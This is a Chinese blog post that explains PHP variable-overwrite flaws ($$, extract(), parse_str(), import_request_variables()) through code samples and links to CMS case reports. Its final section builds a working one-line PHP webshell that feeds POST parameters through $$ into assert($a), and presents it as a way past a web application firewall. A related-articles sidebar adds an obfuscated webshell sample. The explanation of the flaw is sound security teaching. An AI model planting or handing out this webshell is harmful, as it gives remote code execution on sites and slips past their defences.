文档章节

变量覆盖漏洞学习及在webshell中的运用

o
 osc_a22drz29
发布于 2019/03/26 00:35
字数 1189
阅读 15
收藏 0

精选30+云产品,助力企业轻松上云!>>>

一、发生条件:

函数使用不当($$、extract()、parse_str()、import_request_variables()等) 开启全局变量

二、基础了解:

1.$$定义

$$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。

<!-- more -->

举个简单例子: 变量a被定义成了字符串hello 而变量$a被定于成了字符串world! 但同时$a本身也是个变量 $$a就可以代表两个含义$($a)和$(hello) 两个变量 此时输出的结果如图:

2.extract()定义

extract()可以从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值 语法结构:extract(array,extract_rules,prefix) i.array为必选参数(此参数必须为数组型数据) ii.extract_rules为可选参数,可选的值有: ● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 ● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 ● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 ● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 ● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 ● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 ● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 ● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。 iii.prefix为可选参数(此参数暂不解释) 举个例子: 在开头我们定义了一个数组d 然后我们使用extract()函数并将array参数填写为数组d 此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象) 此时输出结果为: 可以看到我们之前并未声明过a、b、c变量,但是仍可输出。

3.parse_str()定义:

把查询字符串解析到变量中 语法:parse_str(string,array) string为必选参数 array为可选参数 举个例子 可以看到此函数将name和age初始化成了变量,且值为等号右边的值 当array参数存在时: 4.import_request_varibles()定义 将 GET/POST/Cookie 变量导入到全局作用域中 此函数相当于开启全局变量注册 语法import_request_variables(string $types ,string $prefix ) 第一个参数为必选 第二个参数为可选 例子: import_request_variables("GPC") 使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册 当第二个参数存在时将会加上一个前缀

三、经典案例

1.经典$$变量覆盖

foreach(array('_COOKIE','_POST','_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $$_key = addslashes($_value);
    }

这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过 可以看出$_key为COOKIE POST GET中的参数 比如提交?a=1 则$_key的值为a 而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value) 这样便会覆盖原有的变量a的值 我们来运行一下: 可以看到变量a被我们覆盖掉了

2.部分cms变量覆盖案例:

MetInfo全局变量覆盖另类突破防注入 http://www.weixianmanbu.com/article/84.html 齐博CMS变量覆盖导致sql注入漏洞 http://bobao.360.cn/learning/detail/291.html Destoon 20140530最新版超全局变量覆盖导致的安全问题 http://0day5.com/archives/1855/

四、变量覆盖玩出新花样之一句话木马bypass某狗

经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了 这就值得我们思考了,为什么这样不会拦截呢? 我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马 那如果这时我们在联系一下变量覆盖漏洞呢? 在这里我选用了上面的案例代码

foreach(array('_COOKIE','_POST','_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $$_key = addslashes($_value);
    }
}

把addslashes()删掉 然后把代码精简下

foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}

最终代码为

<?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>

成功bypass

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
教你从防护角度看Thinkphp历史漏洞

一、前言 19年初,网上公开了2个Thinkphp5的RCE漏洞,漏洞非常好用,导致有很多攻击者用扫描器进行全网扫描。我们通过ips设备持续观察到大量利用这几个漏洞进行批量getshell的攻击流量,本文...

osc_3grma05a
05/11
9
0
网站漏洞解决与修复办法之seacms系统

临近9月底,seacms官方升级海洋cms系统到9.95版本,我们SINE安全在对其源码进行网站漏洞检测的时候发现问题,可导致全局变量被覆盖,后台可以存在越权漏洞并绕过后台安全检测直接登录管理员账...

网站安全
2019/08/24
14
0
网站漏洞修复 被上传webshell漏洞修补

近日,我们SINE安全在对某客户的网站进行网站漏洞检测与修复发现该网站存在严重的sql注入漏洞以及上传webshell网站木马文件漏洞,该网站使用的是某CMS系统,采用PHP语言开发,mysql数据库的架...

网站安全
2019/06/03
400
0
获取webshell的十种方法

黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能...

osc_sb0ev53k
2018/06/22
2
0
WebShell代码分析溯源(四)

WebShell代码分析溯源(四) 一、一句话变形马样本 <?php @$++;$=("").("{"^"/");$=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?> 二、代...

osc_6avzl8gm
2019/10/31
3
0

没有更多内容

加载失败,请刷新页面

加载更多

平时使用的Lszrz到底是什么协议?说说Xmodem/Ymodem/Zmodem

XMODEM, YMODEM, and ZMODEM 由于平时使用rz/sz较多,r/s好理解,一个send一个receive。但是由不太清楚z是什么意思,故有此文。 sx/rx, sb/rb (b=batch)和sz/rz分别实现了xmodem,ymodem和z...

独钓渔
今天
17
0
真正的强智能时代已经到来。道翰天琼认知智能机器人平台API大脑。

最近,我常说人工智能的寒冬快要来了,提醒业界要做好思想准备,但同时我也说:冬天来了,春天就不会远了…… 2019年6月我写了篇文章《深度学习的问题究竟在哪?》,说到深度学习的一个主要问...

jackli2020
今天
24
0
什么是控制型人格,控制型人格的筛查测试

一、 什么是控制性人格 拥有控制型人格的人,他们会尽力的隐藏自己的意图,但是又会使用很微妙的方式来利用周围人的弱点,进而占取便宜时,使他们能够得到自己想要的东西。这类人的控制欲非常...

蛤蟆丸子
今天
14
0
【Spring】Spring AOP 代理对象生成逻辑源码分析

1. spring aop案例(POJO注入) 1.0 被代理接口 TargetInterface /** * 被代理的接口 * @author Yang ZhiWei */public interface TargetInterface { void show(); String show......

ZeroneLove
今天
36
0
聊聊dubbo-go的gracefulShutdownFilter

序 本文主要研究一下dubbo-go的gracefulShutdownFilter gracefulShutdownFilter dubbo-go-v1.4.2/filter/filter_impl/graceful_shutdown_filter.go type gracefulShutdownFilter struct {......

go4it
今天
30
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部